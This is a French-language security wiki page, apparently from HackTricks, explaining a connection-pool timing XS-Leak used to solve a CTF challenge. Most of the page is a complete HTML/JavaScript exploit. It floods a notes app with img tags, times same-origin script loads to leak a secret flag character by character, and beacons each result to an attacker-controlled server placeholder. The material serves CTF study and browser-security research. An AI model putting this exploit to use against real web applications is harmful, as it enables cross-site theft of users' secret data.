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116 lines
3.5 KiB
Markdown
116 lines
3.5 KiB
Markdown
# Exemple de Pool de Connexion par Destination
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{{#include ../../banners/hacktricks-training.md}}
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Dans [**cet exploit**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html), [**@terjanq**](https://twitter.com/terjanq) propose une autre solution pour le défi mentionné dans la page suivante :
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{{#ref}}
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connection-pool-by-destination-example.md
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{{#endref}}
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Voyons comment cet exploit fonctionne :
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- L'attaquant va injecter une note avec autant de **`<img`** tags **chargeant** **`/js/purify.js`** que possible (plus de 6 pour bloquer l'origine).
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- Ensuite, l'attaquant va **supprimer** la **note** avec l'index 1.
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- Ensuite, l'attaquant va \[faire en sorte que le **bot accède à la page** avec la note restante] et va envoyer une **demande** à **`victim.com/js/purify.js`** qu'il va **chronométrer**.
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- Si le temps est **plus grand**, l'**injection** était dans la **note** laissée, si le temps est **plus bas**, le **flag** était là.
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> [!NOTE]
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> Honnêtement, en lisant le script, j'ai manqué une partie où l'**attaquant fait charger la page par le bot pour déclencher les tags img**, je ne vois rien de tel dans le code.
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```html
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<html>
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<head>
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<script>
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const SITE_URL = "https://safelist.ctf.sekai.team/"
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const PING_URL = "https://myserver"
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function timeScript() {
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return new Promise((resolve) => {
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var x = document.createElement("script")
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x.src =
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"https://safelist.ctf.sekai.team/js/purify.js?" + Math.random()
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var start = Date.now()
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x.onerror = () => {
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console.log(`Time: ${Date.now() - start}`) //Time request
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resolve(Date.now() - start)
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x.remove()
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}
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document.body.appendChild(x)
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})
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}
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add_note = async (note) => {
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let x = document.createElement("form")
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x.action = SITE_URL + "create"
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x.method = "POST"
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x.target = "xxx"
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let i = document.createElement("input")
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i.type = "text"
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i.name = "text"
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i.value = note
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x.appendChild(i)
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document.body.appendChild(x)
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x.submit()
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}
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remove_note = async (note_id) => {
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let x = document.createElement("form")
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x.action = SITE_URL + "remove"
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x.method = "POST"
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x.target = "_blank"
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let i = document.createElement("input")
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i.type = "text"
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i.name = "index"
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i.value = note_id
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x.appendChild(i)
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document.body.appendChild(x)
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x.submit()
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}
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const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms))
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// }zyxwvutsrqponmlkjihgfedcba_
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const alphabet = "zyxwvutsrqponmlkjihgfedcba_"
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var prefix = "SEKAI{xsleakyay"
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const TIMEOUT = 500
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async function checkLetter(letter) {
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// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
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// Depending whether we found flag's letter it will either load the images or not.
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// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
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const payload =
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`${prefix}${letter}` +
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Array.from(Array(78))
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.map((e, i) => `<img/src=/js/purify.js?${i}>`)
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.join("")
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await add_note(payload)
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await sleep(TIMEOUT)
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await timeScript()
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await remove_note(1) //Now, only the note with the flag or with the injection existsh
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await sleep(TIMEOUT)
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const time = await timeScript() //Find out how much a request to the same origin takes
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navigator.sendBeacon(PING_URL, [letter, time])
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if (time > 100) {
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return 1
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}
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return 0
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}
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window.onload = async () => {
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navigator.sendBeacon(PING_URL, "start")
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// doesnt work because we are removing flag after success.
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// while(1){
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for (const letter of alphabet) {
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if (await checkLetter(letter)) {
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prefix += letter
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navigator.sendBeacon(PING_URL, prefix)
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break
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}
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}
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// }
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}
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</script>
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</head>
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<body></body>
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</html>
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```
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{{#include ../../banners/hacktricks-training.md}}
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